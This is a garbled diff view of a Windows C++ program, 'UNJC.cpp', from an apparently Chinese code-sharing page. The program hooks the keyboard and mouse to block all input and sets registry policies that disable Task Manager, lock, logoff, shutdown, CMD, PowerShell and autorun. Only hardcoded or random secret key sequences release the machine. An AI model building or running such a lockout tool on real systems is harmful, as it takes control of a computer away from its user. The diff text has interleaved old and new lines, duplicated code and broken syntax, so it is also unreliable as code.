版本比较
防 JC 脚本
正文
增加 226 行删除 794 行
1233456789101112139101415161718192021222318192425222627282914 行未改动444546474546474849505152535455565758596061484964656667685051525373545575565758596010 行未改动71727374947576779899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129781311327913413513613713813914014180143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403818283405848586408878889411412413414415416417418419909192939495969798991001011021031041051064224234244251071084281091101111121131141154351161171181191201214411221231241251264461271281291301311324521331344541351361374561381391401411421431444631451461471481491504691511521531541552 行未改动1581591601614801621631641651663 行未改动1701711721734921741751761771785 行未改动1841851861875061881891901911925111931941955141961971981992002012022035222042055242062072082092105 行未改动2162172182195382202215405412222232242252262272282295485492302312322332342352365555565572372382392405592412422432445635645655665675685692452462472485715725735745755762492502512522532542552562575795805815825835842582592602612622632642652662672682692702715875885895905915922722732742752762772782795945955962802812822836012842856036042862872882892906086096102912922936146156162942952962976186196206216226236246256266272986292993003016336346353023033043053063073083096416426436446456466476483106503113126523133146543156566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976983163173187007017027037047053193203213223233247073253263277107117127133283293303313327153333343357187197207213363373383393407237243413423437277287297307317327337347353443457387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848853463473483498908918928933503513523538958968978988999009019029039049059069079089099103549123553569159169179189199209219229239249259269273573589303593609339349359363613623633643659383663673689419429439443693703713723739463743753769499509519523773783793803819549553823833849589599609613853863873883893903913923933943953963979719729733983994004014029789799809819829839849859869874034044054064074084094104114124134144154169899904174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474483 行未改动45245345445545610041005457458459100710081009101010111012101310141015101610171018101946046146246346446546646746846947047147247347447510211022476477478102510261027102810291030103110321033103410351036103710384794804814821040104110421043104410451046104710481049105010511052105348348448548610554874884894904914924934944954964974984995005015025035041063106410651066505506106810691070107110721073507508107510765095105115125135145155165175185191086108710881089109010915205215225233 行未改动527528529530110311041105110653153253353453553611105375385391113540541542543544545546547548## UNJC.cpp```cpp#include <bits/stdc++.h>#include <windows.h>#include <tlhelp32.h>#include <iostream>#include <string>#include <atomic>#include <thread>#include <chrono>#include <random>
std::atomic <bool> disableInput(true); // Input disable flagstd::atomic <bool> shutdownFlag(false); // Program shutdown flagstd::vector <DWORD> secretSequence; // Unlock sequence storagestd::vector <DWORD> randomSequence; // Random target sequencestd::atomic <size_t> sequencePosition(0); // Current sequence positionstd::atomic <bool> sequenceActive(false); // Sequence input active statusstd::atomic <long long> lastKeyTime(0); // Last key press timestatic const std::vector <std::vector <DWORD> > unlockCombinations = { Your Keys Here};
// 函数声明void sigint_handler(int sig);long long getCurrentTime();void generateRandomSequence();void initializeSecretSequence();bool checkUnlockCombination(DWORD vkCode);bool checkContinuousSequence(DWORD vkCode);bool checkSecretSequence(DWORD vkCode);LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam);void DisableSecurityOptions();void EnableSecurityOptions();14 行未改动 std::chrono::system_clock::now().time_since_epoch() ).count();}
// Generate random target sequencevoid generateRandomSequence() { std::random_device rd; std::mt19937 gen(rd()); std::uniform_int_distribution <> dis(65, 90); // A-Z randomSequence.clear(); int sequenceLength = 5 + dis(gen) % 6; // 5-10 keys for (int i = 0;i < sequenceLength;i++) secretSequence.push_back(dis(gen)), randomSequence.push_back(dis(gen)); // Random letter A-Z}
void initializeSecretSequence() { // Generate random target sequence generateRandomSequence();}
// Check for unlock combination keysbool checkUnlockCombination(DWORD vkCode) { // Multiple unlock methods static const std::vector <std::vector <DWORD> > unlockCombinations = { Set Yours Keys Here; };
static std::vector <size_t> combinationPositions(unlockCombinations.size(), 0); static long long lastCheckTime = getCurrentTime();
long long currentTime = getCurrentTime();
// Timeout reset all sequences if (currentTime - lastCheckTime > 5000) // 5 second timeout if (currentTime - lastCheckTime > 60000) // 60 second timeout for (size_t i = 0;i < combinationPositions.size();i++) combinationPositions[i] = 0; lastCheckTime = currentTime;
for (size_t i = 0;i < unlockCombinations.size();i++) {10 行未改动
return false;}
// Check if any continuous sequence matches the target sequencebool checkContinuousSequence(DWORD vkCode) { static std::vector <DWORD> inputBuffer; static long long lastInputTime = getCurrentTime(); long long currentTime = getCurrentTime(); // Reset buffer if more than 3 seconds between key presses if (currentTime - lastInputTime > 3000) inputBuffer.clear(); lastInputTime = currentTime; // Add current key to buffer inputBuffer.push_back(vkCode); // Keep buffer size reasonable if (inputBuffer.size() > 20) inputBuffer.erase(inputBuffer.begin()); // Check if buffer contains the target sequence if (inputBuffer.size() >= randomSequence.size()) { for (size_t i = 0;i <= inputBuffer.size() - randomSequence.size();i++) { bool match = true; for (size_t j = 0;j < randomSequence.size();j++) { if (inputBuffer[i + j] != randomSequence[j]) { match = false; break; } } if (match) { inputBuffer.clear(); return true; } } } return false;}
// Check secret sequencebool checkSecretSequence(DWORD vkCode) { long long currentTime = getCurrentTime(); // Reset sequence if no key pressed for 2 seconds if (currentTime - lastKeyTime > 2000) { sequencePosition = 0; sequenceActive = false; } lastKeyTime = currentTime;
if (!sequenceActive) { // Check if sequence starts (first key) if (vkCode == secretSequence[0]) { sequenceActive = true; sequencePosition = 1; return false; } } else { // Check next key in sequence if (vkCode == secretSequence[sequencePosition]) { sequencePosition++; if (sequencePosition == secretSequence.size()) { // Sequence completed sequencePosition = 0; sequenceActive = false; return true; } } else { // Key doesn't match, reset sequence sequencePosition = 0; sequenceActive = false; } } return false;}
// Keyboard hook, monitor all keysLRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode >= 0 && wParam == WM_KEYDOWN) { KBDLLHOOKSTRUCT* pKey = (KBDLLHOOKSTRUCT*)lParam; DWORD vkCode = pKey -> vkCode;
// Check various unlock conditions if (checkUnlockCombination(vkCode) || checkSecretSequence(vkCode) || checkContinuousSequence(vkCode)) { disableInput = false; shutdownFlag = true; PostQuitMessage(0); // Send quit message return 1; }
// Block all keyboard input if (disableInput) { // Specifically block system shortcuts including Win+L, Win+D, Alt+F4, etc. if (vkCode == VK_ESCAPE || vkCode == VK_TAB || vkCode == VK_LWIN || vkCode == VK_RWIN || vkCode == 'L' || vkCode == 'D' || // Block Win+L (lock), Win+D (desktop) vkCode == VK_F4 || // Block F4 key (part of Alt+F4) (GetAsyncKeyState(VK_CONTROL) && GetAsyncKeyState(VK_MENU) && vkCode == VK_DELETE) || // Ctrl+Alt+Del (GetAsyncKeyState(VK_LWIN) && vkCode == 'L') || // Win+L (GetAsyncKeyState(VK_LWIN) && vkCode == 'D') || // Win+D (GetAsyncKeyState(VK_CONTROL) && vkCode == VK_ESCAPE) || // Ctrl+Esc (Start menu) (GetAsyncKeyState(VK_MENU) && vkCode == VK_F4)) { // Alt+F4 (Close window) return 1; } return 1; // Block all other keyboard input } } // Also block Alt+F4 when Alt key is pressed and F4 is released if (nCode >= 0 && wParam == WM_KEYUP) { KBDLLHOOKSTRUCT* pKey = (KBDLLHOOKSTRUCT*)lParam; DWORD vkCode = pKey -> vkCode; if (disableInput && vkCode == VK_F4 && GetAsyncKeyState(VK_MENU) & 0x8000) return 1; // Block F4 key release when Alt is held down } return CallNextHookEx(NULL, nCode, wParam, lParam);}
// Mouse hook, block all mouse inputLRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam) { if (disableInput) { // 扩展鼠标操作禁用范围 if (wParam == WM_LBUTTONDOWN || wParam == WM_RBUTTONDOWN || wParam == WM_MBUTTONDOWN || wParam == WM_MOUSEWHEEL || wParam == WM_MOUSEHWHEEL || wParam == WM_LBUTTONUP || wParam == WM_RBUTTONUP || wParam == WM_MBUTTONUP || wParam == WM_LBUTTONDBLCLK || wParam == WM_RBUTTONDBLCLK || wParam == WM_MBUTTONDBLCLK || wParam == WM_XBUTTONDOWN || wParam == WM_XBUTTONUP || wParam == WM_XBUTTONDBLCLK) { return 1; // 阻止所有鼠标输入 } } return CallNextHookEx(NULL, nCode, wParam, lParam);}
void DisableSecurityOptions() { HKEY hKey; DWORD value = 1; // Disable Task Manager if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hKey, "DisableTaskMgr", 0, REG_DWORD, (const BYTE*)&value, sizeof(value)); RegCloseKey(hKey); }
// Disable Lock Workstation if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hKey, "DisableLockWorkstation", 0, REG_DWORD, (const BYTE*)&value, sizeof(value)); RegCloseKey(hKey); }
// Disable Change Password if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hKey, "DisableChangePassword", 0, REG_DWORD, (const BYTE*)&value, sizeof(value)); RegCloseKey(hKey); }
// Disable Switch User (Fast User Switching) if (RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hKey, "HideFastUserSwitching", 0, REG_DWORD, (const BYTE*)&value, sizeof(value)); RegCloseKey(hKey); }
// Disable Logoff if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hKey, "NoLogoff", 0, REG_DWORD, (const BYTE*)&value, sizeof(value)); RegCloseKey(hKey); }
// Disable Shutdown/Restart (also affects logoff) if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hKey, "NoClose", 0, REG_DWORD, (const BYTE*)&value, sizeof(value)); RegCloseKey(hKey); }
// Disable Alt+F4 via registry (for some applications) if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hKey, "NoWinKeys", 0, REG_DWORD, (const BYTE*)&value, sizeof(value)); RegCloseKey(hKey); }
// Block command prompts BlockCommandPrompts();}
#include <bits/stdc++.h>#include <windows.h>#include <tlhelp32.h>
std::atomic <bool> disableInput(true); // Input disable flagstd::atomic <bool> shutdownFlag(false); // Program shutdown flagstd::vector <DWORD> secretSequence; // Unlock sequence storagestd::vector <DWORD> randomSequence; // Random target sequencestd::atomic <size_t> sequencePosition(0); // Current sequence positionstd::atomic <bool> sequenceActive(false); // Sequence input active statusstd::atomic <long long> lastKeyTime(0); // Last key press time
// 函数声明void sigint_handler(int sig);long long getCurrentTime();void generateRandomSequence();void initializeSecretSequence();bool checkUnlockCombination(DWORD vkCode);bool checkContinuousSequence(DWORD vkCode);bool checkSecretSequence(DWORD vkCode);LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam);void DisableSecurityOptions();void EnableSecurityOptions();bool TerminateTaskManager();void securityMonitorThread();bool TerminateProcessByName(const std::string& processName);void BlockCommandPrompts();void UnblockCommandPrompts();
// Block Ctrl+C interruptvoid sigint_handler(int sig) { // Do nothing, ignore Ctrl+C}
// Get current timestamp (milliseconds)long long getCurrentTime() { return std::chrono::duration_cast <std::chrono::milliseconds>( std::chrono::system_clock::now().time_since_epoch() ).count();}
// Generate random target sequencevoid generateRandomSequence() { std::random_device rd; std::mt19937 gen(rd()); std::uniform_int_distribution <> dis(65, 90); // A-Z randomSequence.clear(); int sequenceLength = 5 + dis(gen) % 6; // 5-10 keys for (int i = 0;i < sequenceLength;i++) secretSequence.push_back(dis(gen)), randomSequence.push_back(dis(gen)); // Random letter A-Z}
void initializeSecretSequence() { // Generate random target sequence generateRandomSequence();}
// Check for unlock combination keysbool checkUnlockCombination(DWORD vkCode) { // Multiple unlock methods static const std::vector <std::vector <DWORD> > unlockCombinations = { {VK_F5, 55, 56, 57, 49, 49, 49, 52, 53, 49, 52, 49, 57, 49, 57, 56, 49, 48}, {VK_F7, VK_F8, VK_F9, VK_F1, VK_F1, VK_F1, VK_F4, VK_F5, VK_F1, VK_F4, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12} };
static std::vector <size_t> combinationPositions(unlockCombinations.size(), 0); static long long lastCheckTime = getCurrentTime();
long long currentTime = getCurrentTime(); // Timeout reset all sequences if (currentTime - lastCheckTime > 5000) // 5 second timeout for (size_t i = 0;i < combinationPositions.size();i++) combinationPositions[i] = 0; lastCheckTime = currentTime;
for (size_t i = 0;i < unlockCombinations.size();i++) { if (vkCode == unlockCombinations[i][combinationPositions[i]]) { combinationPositions[i]++; if (combinationPositions[i] == unlockCombinations[i].size()) { // Successfully matched a combination for (size_t j = 0;j < combinationPositions.size();j++) combinationPositions[j] = 0; return true; } } else combinationPositions[i] = 0; }
return false;}
// Check if any continuous sequence matches the target sequencebool checkContinuousSequence(DWORD vkCode) { static std::vector <DWORD> inputBuffer; static long long lastInputTime = getCurrentTime(); long long currentTime = getCurrentTime(); // Reset buffer if more than 3 seconds between key presses if (currentTime - lastInputTime > 3000) inputBuffer.clear(); // Reset buffer if more than 10 seconds between key presses if (currentTime - lastInputTime > 10000) inputBuffer.clear(); lastInputTime = currentTime;
// Add current key to buffer inputBuffer.push_back(vkCode);
// Keep buffer size reasonable if (inputBuffer.size() > 20) inputBuffer.erase(inputBuffer.begin()); // Check if buffer contains the target sequence if (inputBuffer.size() >= randomSequence.size()) { for (size_t i = 0;i <= inputBuffer.size() - randomSequence.size();i++) { bool match = true; for (size_t j = 0;j < randomSequence.size();j++) { if (inputBuffer[i + j] != randomSequence[j]) { match = false; break;
// Check if buffer contains any of the unlock combinations for (const auto& combination : unlockCombinations) { if (inputBuffer.size() >= combination.size()) { for (size_t i = 0;i <= inputBuffer.size() - combination.size();i++) { bool match = true; for (size_t j = 0;j < combination.size();j++) { if (inputBuffer[i + j] != combination[j]) { match = false; break; } } if (match) { inputBuffer.clear(); return true; } } if (match) { inputBuffer.clear(); return true; } } }
return false;}
// Check secret sequencebool checkSecretSequence(DWORD vkCode) { long long currentTime = getCurrentTime();
// Reset sequence if no key pressed for 2 seconds if (currentTime - lastKeyTime > 2000) { sequencePosition = 0; sequenceActive = false; }
lastKeyTime = currentTime;
if (!sequenceActive) { // Check if sequence starts (first key) if (vkCode == secretSequence[0]) { if (vkCode == unlockCombinations[0][0]) { // 修复这里 sequenceActive = true; sequencePosition = 1; return false; } } else { else { // Check next key in sequence if (vkCode == secretSequence[sequencePosition]) { if (sequencePosition < unlockCombinations[0].size() && // 添加边界检查 vkCode == unlockCombinations[0][sequencePosition]) { sequencePosition++; if (sequencePosition == secretSequence.size()) { if (sequencePosition == unlockCombinations[0].size()) { // 修复这里 // Sequence completed sequencePosition = 0; sequenceActive = false; return true; } } else { else { // Key doesn't match, reset sequence sequencePosition = 0; sequenceActive = false; } }
return false;}
// Keyboard hook, monitor all keys2 行未改动 KBDLLHOOKSTRUCT* pKey = (KBDLLHOOKSTRUCT*)lParam; DWORD vkCode = pKey -> vkCode;
// Check various unlock conditions if (checkUnlockCombination(vkCode) || if (checkUnlockCombination(vkCode) || checkSecretSequence(vkCode) || checkContinuousSequence(vkCode)) { disableInput = false; shutdownFlag = true;3 行未改动
// Block all keyboard input if (disableInput) { // Specifically block system shortcuts including Win+L, Win+D, Alt+F4, etc. if (vkCode == VK_ESCAPE || vkCode == VK_TAB || if (vkCode == VK_ESCAPE || vkCode == VK_TAB || vkCode == VK_LWIN || vkCode == VK_RWIN || vkCode == 'L' || vkCode == 'D' || // Block Win+L (lock), Win+D (desktop) vkCode == VK_F4 || // Block F4 key (part of Alt+F4) (GetAsyncKeyState(VK_CONTROL) && GetAsyncKeyState(VK_MENU) && vkCode == VK_DELETE) || // Ctrl+Alt+Del5 行未改动 } return 1; // Block all other keyboard input } }
// Also block Alt+F4 when Alt key is pressed and F4 is released if (nCode >= 0 && wParam == WM_KEYUP) { KBDLLHOOKSTRUCT* pKey = (KBDLLHOOKSTRUCT*)lParam; DWORD vkCode = pKey -> vkCode;
if (disableInput && vkCode == VK_F4 && GetAsyncKeyState(VK_MENU) & 0x8000) return 1; // Block F4 key release when Alt is held down }
return CallNextHookEx(NULL, nCode, wParam, lParam);}
// Mouse hook, block all mouse inputLRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam) { if (disableInput) { // 扩展鼠标操作禁用范围 if (wParam == WM_LBUTTONDOWN || wParam == WM_RBUTTONDOWN || if (wParam == WM_LBUTTONDOWN || wParam == WM_RBUTTONDOWN || wParam == WM_MBUTTONDOWN || wParam == WM_MOUSEWHEEL || wParam == WM_MOUSEHWHEEL || wParam == WM_LBUTTONUP || wParam == WM_LBUTTONUP || // 移除重复的 WM_MOUSEWHEEL wParam == WM_RBUTTONUP || wParam == WM_MBUTTONUP || wParam == WM_LBUTTONDBLCLK || wParam == WM_RBUTTONDBLCLK || wParam == WM_MBUTTONDBLCLK || wParam == WM_XBUTTONDOWN || wParam == WM_XBUTTONUP || wParam == WM_XBUTTONDBLCLK) {5 行未改动
void DisableSecurityOptions() { HKEY hKey; DWORD value = 1;
// Disable Task Manager if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hKey, "DisableTaskMgr", 0, REG_DWORD, (const BYTE*)&value, sizeof(value)); RegCloseKey(hKey); }
// Disable Lock Workstation if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hKey, "DisableLockWorkstation", 0, REG_DWORD, (const BYTE*)&value, sizeof(value)); RegCloseKey(hKey); }
// Disable Change Password if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", // Disable Run dialog if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hKey, "DisableChangePassword", 0, REG_DWORD, (const BYTE*)&value, sizeof(value)); RegSetValueEx(hKey, "NoRun", 0, REG_DWORD, (const BYTE*)&value, sizeof(value)); RegCloseKey(hKey); }
// Disable Switch User (Fast User Switching) if (RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hKey, "HideFastUserSwitching", 0, REG_DWORD, (const BYTE*)&value, sizeof(value)); RegCloseKey(hKey); } // 禁用U盘自动运行功能 - 通过修改注册表 HKEY hKeyAutoRun; DWORD disableValue = 0xFF; // 禁用所有驱动器的自动运行
// Disable Logoff if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hKey, "NoLogoff", 0, REG_DWORD, (const BYTE*)&value, sizeof(value)); RegCloseKey(hKey); // 方法1: 通过Explorer键值禁用 if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, NULL, 0, KEY_WRITE, NULL, &hKeyAutoRun, NULL) == ERROR_SUCCESS) { RegSetValueEx(hKeyAutoRun, "NoDriveTypeAutoRun", 0, REG_DWORD, (const BYTE*)&disableValue, sizeof(disableValue)); RegCloseKey(hKeyAutoRun); }
// Disable Shutdown/Restart (also affects logoff) if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hKey, "NoClose", 0, REG_DWORD, (const BYTE*)&value, sizeof(value)); RegCloseKey(hKey); // 方法2: 通过MountPoints2权限控制彻底禁用:cite[1]:cite[5] HKEY hKeyMountPoints; if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MountPoints2", 0, KEY_WRITE, &hKeyMountPoints) == ERROR_SUCCESS) { // 设置权限拒绝所有用户访问(需要更复杂的ACL操作,这里简化实现) // 实际应用中可能需要使用SetSecurityInfo或SetNamedSecurityInfo函数 // 这里通过设置特殊值来模拟权限限制 DWORD denyAccess = 1; RegSetValueEx(hKeyMountPoints, "DisableAutoRun", 0, REG_DWORD, (const BYTE*)&denyAccess, sizeof(denyAccess)); RegCloseKey(hKeyMountPoints); }
// Disable Alt+F4 via registry (for some applications) if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hKey, "NoWinKeys", 0, REG_DWORD, (const BYTE*)&value, sizeof(value)); RegCloseKey(hKey); // 方法3: 禁用所有驱动器的自动运行(更彻底的方法) if (RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, NULL, 0, KEY_WRITE, NULL, &hKeyAutoRun, NULL) == ERROR_SUCCESS) { RegSetValueEx(hKeyAutoRun, "NoDriveTypeAutoRun", 0, REG_DWORD, (const BYTE*)&disableValue, sizeof(disableValue)); RegCloseKey(hKeyAutoRun); }
// Block command prompts BlockCommandPrompts();}
void EnableSecurityOptions() { HKEY hKey;
// 恢复 HKEY_CURRENT_USER 下的系统策略 if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) { RegDeleteValue(hKey, "DisableTaskMgr"); RegDeleteValue(hKey, "DisableLockWorkstation"); RegDeleteValue(hKey, "DisableChangePassword"); RegDeleteValue(hKey, "NoWinKeys"); RegDeleteValue(hKey, "HideFastUserSwitching"); // 移动到这里 RegCloseKey(hKey); }
// 恢复 HKEY_LOCAL_MACHINE 下的系统策略(需要管理员权限) if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", // 恢复 Explorer 策略 if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) { RegDeleteValue(hKey, "HideFastUserSwitching"); RegCloseKey(hKey); }
// 恢复 Explorer 策略(电源选项关键) if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) { RegDeleteValue(hKey, "NoLogoff"); RegDeleteValue(hKey, "NoClose"); RegDeleteValue(hKey, "NoRun"); RegDeleteValue(hKey, "NoFind"); RegCloseKey(hKey); }
// 恢复系统策略的其他可能位置 if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Policies\\Microsoft\\Windows\\System", // 恢复命令行相关设置 if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Policies\\Microsoft\\Windows\\System", 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) { RegDeleteValue(hKey, "DisableCMD"); RegCloseKey(hKey); }
// 恢复 PowerShell 策略 if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Policies\\Microsoft\\Windows\\PowerShell", 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) { RegDeleteValue(hKey, "Disable"); RegCloseKey(hKey); }
// 强制刷新注册表更改 SendMessageTimeout(HWND_BROADCAST, WM_SETTINGCHANGE, 0, SendMessageTimeout(HWND_BROADCAST, WM_SETTINGCHANGE, 0, (LPARAM)"Policy", SMTO_BLOCK, 1000, NULL); SendMessageTimeout(HWND_BROADCAST, WM_SETTINGCHANGE, 0, SendMessageTimeout(HWND_BROADCAST, WM_SETTINGCHANGE, 0, (LPARAM)"Windows", SMTO_BLOCK, 1000, NULL);}
// 阻止命令行程序通过注册表void BlockCommandPrompts() { HKEY hKey; DWORD value = 1; // 禁用命令提示符 (CMD) - 主要方法 if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Policies\\Microsoft\\Windows\\System", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hKey, "DisableCMD", 0, REG_DWORD, (const BYTE*)&value, sizeof(value)); RegCloseKey(hKey); } // 禁用 PowerShell - 主要方法 if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Policies\\Microsoft\\Windows\\PowerShell", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hKey, "Disable", 0, REG_DWORD, (const BYTE*)&value, sizeof(value)); RegCloseKey(hKey); } // 禁用运行对话框和查找功能 if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hKey, "NoRun", 0, REG_DWORD, (const BYTE*)&value, sizeof(value)); RegSetValueEx(hKey, "NoFind", 0, REG_DWORD, (const BYTE*)&value, sizeof(value)); RegCloseKey(hKey); } // 使用更安全的方法:创建AppCompatFlags阻止命令行程序运行 if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { // 阻止cmd.exe运行 RegSetValueEx(hKey, "C:\\Windows\\System32\\cmd.exe", 0, REG_SZ, (const BYTE*)"RUNASINVOKER", 12); // 阻止powershell.exe运行 RegSetValueEx(hKey, "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", 0, REG_SZ, (const BYTE*)"RUNASINVOKER", 12); RegCloseKey(hKey); }} // 恢复命令行功能 UnblockCommandPrompts();
void UnblockCommandPrompts() { HKEY hKey; // 恢复命令提示符 if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Policies\\Microsoft\\Windows\\System", // 恢复U盘自动运行设置
// 删除Explorer中的自动运行限制 if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) { RegDeleteValue(hKey, "DisableCMD"); RegDeleteValue(hKey, "NoDriveTypeAutoRun"); RegCloseKey(hKey); } // 恢复 PowerShell if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Policies\\Microsoft\\Windows\\PowerShell",
